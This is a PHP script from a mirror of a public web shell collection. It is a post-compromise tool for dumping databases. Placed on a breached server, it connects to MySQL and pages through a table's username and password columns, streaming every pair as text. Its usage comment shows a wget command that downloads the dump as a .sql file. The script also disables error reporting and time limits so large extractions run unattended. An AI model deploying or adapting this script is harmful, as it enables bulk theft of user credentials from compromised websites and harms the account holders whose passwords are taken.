mirror of
https://github.com/tennc/webshell
synced 2024-09-20 05:41:58 +00:00
63 lines
No EOL
2 KiB
Text
63 lines
No EOL
2 KiB
Text
<?php
|
||
//author: By Gavin
|
||
//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
|
||
|
||
error_reporting(0);
|
||
ignore_user_abort();
|
||
set_time_limit(0);
|
||
ob_clean();
|
||
|
||
//配置数据库信息
|
||
$DB_Server="127.0.0.1:3306";
|
||
$DB_User="root";
|
||
$DB_Pass="root";
|
||
$DB_Name="DBName";
|
||
|
||
//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
|
||
$max_limit_num = 20000;
|
||
//最大缓存条数，防止占用过多内存，根据每条数据大小调整
|
||
$max_cache_num = 5000;
|
||
|
||
|
||
$gavin_start_num = intval($_GET['sn']); //接收起始条数
|
||
$gavin_end_num = intval($_GET['en']); //接收结束条数
|
||
if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']); //接收每次分段查询的条数
|
||
$gavin_down_num = intval($gavin_end_num - $gavin_start_num); //计算总下载条数
|
||
|
||
if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
|
||
$beishu = intval($gavin_down_num/$max_limit_num);
|
||
$yushu = intval($gavin_down_num%$max_limit_num);
|
||
|
||
$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
|
||
if ($conn==FALSE) {
|
||
echo "数据库连接出错!<br>";
|
||
exit();
|
||
}
|
||
if (@mysql_select_db($DB_Name,$conn)==FALSE) {
|
||
echo "打开数据库:".$DB_Name." 失败!";
|
||
exit();
|
||
}
|
||
|
||
mysql_query("set names 'utf8'");
|
||
$num = 1;
|
||
$out_put_str = '';
|
||
if (ob_get_level() == 0) ob_start();
|
||
|
||
for ($i=0;$i<$beishu;$i++){
|
||
$new_start_num = $i*$max_limit_num+$gavin_start_num;
|
||
if ($i == ($beishu-1)) $max_limit_num += $yushu;
|
||
$sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句
|
||
$res = mysql_query($sql) or die(mysql_error());
|
||
while($result = mysql_fetch_array($res))
|
||
{
|
||
$num ++;
|
||
$out_put_str = $result["username"]."-->".$result["password"]."\n"; //格式化脱出的数据,根据SQL中的字段调整
|
||
if ($num >= $max_cache_num){
|
||
@ob_end_flush();
|
||
$num = 0;
|
||
}
|
||
echo $out_put_str;
|
||
// unset($out_put_str);
|
||
}
|
||
}
|
||
?> |